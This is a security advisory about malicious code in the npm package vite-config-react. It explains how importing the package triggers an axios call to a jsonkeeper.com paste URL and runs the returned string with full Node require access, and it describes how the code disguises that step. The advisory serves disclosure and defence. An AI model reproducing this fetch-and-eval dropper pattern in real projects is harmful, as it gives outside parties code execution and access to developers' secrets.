Summary
Malicious code in vite-config-react (npm)
Details
On `require`/`import` of the package, the entrypoint chain src/index.js → core/createConfig.js → features/plugins.js side-effect-imports features/extras/config.js, which runs an IIFE that performs `axios.get('https://www.jsonkeeper.com/b/AAON3', { headers: { 'x-secret-key': '_' } })`, reads `.data.config` from the response, and executes the returned string via `new Function('require', s)(require)` with a Node `require` constructed through `createRequire(import.meta.url)`. The fetch-and-eval is wrapped in a 5-attempt retry loop with a swallowed try/catch. The dropper additionally shadows the global `process` with a local object whose keys are renamed `DEV_API_KEY`, `DEV_SECRET_KEY`, `DEV_SECRET_VALUE` so the hardcoded URL and header read like ordinary environment-variable lookups, and the wrapper function is named `getCallers` to obscure intent. jsonkeeper.com is an anonymous, mutable paste host with no hash pinning — the operator can swap the executed payload at any time. Any project that imports this package (for example in `vite.config.js`) hands the author arbitrary code execution on the developer's or CI machine with full `require` access.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
